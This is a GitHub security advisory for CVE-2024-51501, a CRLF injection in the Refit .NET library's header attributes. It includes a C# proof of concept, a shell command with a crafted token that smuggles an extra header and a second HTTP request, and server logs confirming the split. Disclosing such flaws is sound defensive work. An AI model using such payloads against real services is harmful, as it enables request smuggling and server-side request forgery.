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Security Advisories: GSA_kwCzR0hTQS0zaHhnLWZ4d20tOGdmN84ABA9E

CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.

Permalink: https://github.com/advisories/GHSA-3hxg-fxwm-8gf7
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaHhnLWZ4d20tOGdmN84ABA9E
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: 16 days ago
Updated: 13 days ago


CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-3hxg-fxwm-8gf7, CVE-2024-51501
References: Repository: https://github.com/reactiveui/refit
Blast Radius: 23.7

Affected Packages

nuget:Refit
Dependent packages: 538
Dependent repositories: 263
Downloads: 95,017,504 total
Affected Version Ranges: < 7.2.22
Fixed in: 7.2.22
All affected versions: 1.0.0, 1.1.0, 1.2.0, 1.3.0, 2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.2.0, 2.2.1, 2.3.0, 2.4.0, 2.4.1, 3.0.0, 3.0.1, 3.1.0, 4.0.0, 4.0.1, 4.1.0, 4.2.0, 4.3.0, 4.4.17, 4.5.4, 4.5.6, 4.6.15, 4.6.16, 4.6.30, 4.6.48, 4.6.58, 4.6.85, 4.6.90, 4.6.99, 4.6.107, 4.7.5, 4.7.9, 4.7.51, 4.8.14, 5.0.15, 5.0.23, 5.1.26, 5.1.27, 5.1.54, 5.1.67, 5.2.1, 5.2.4, 6.0.1, 6.0.8, 6.0.15, 6.0.21, 6.0.24, 6.0.38, 6.0.94, 6.1.15, 6.2.14, 6.2.16, 6.3.2, 6.4.1, 6.5.1, 7.0.0, 7.1.0, 7.1.1, 7.1.2, 7.2.0, 7.2.1
All unaffected versions: 7.2.22, 8.0.0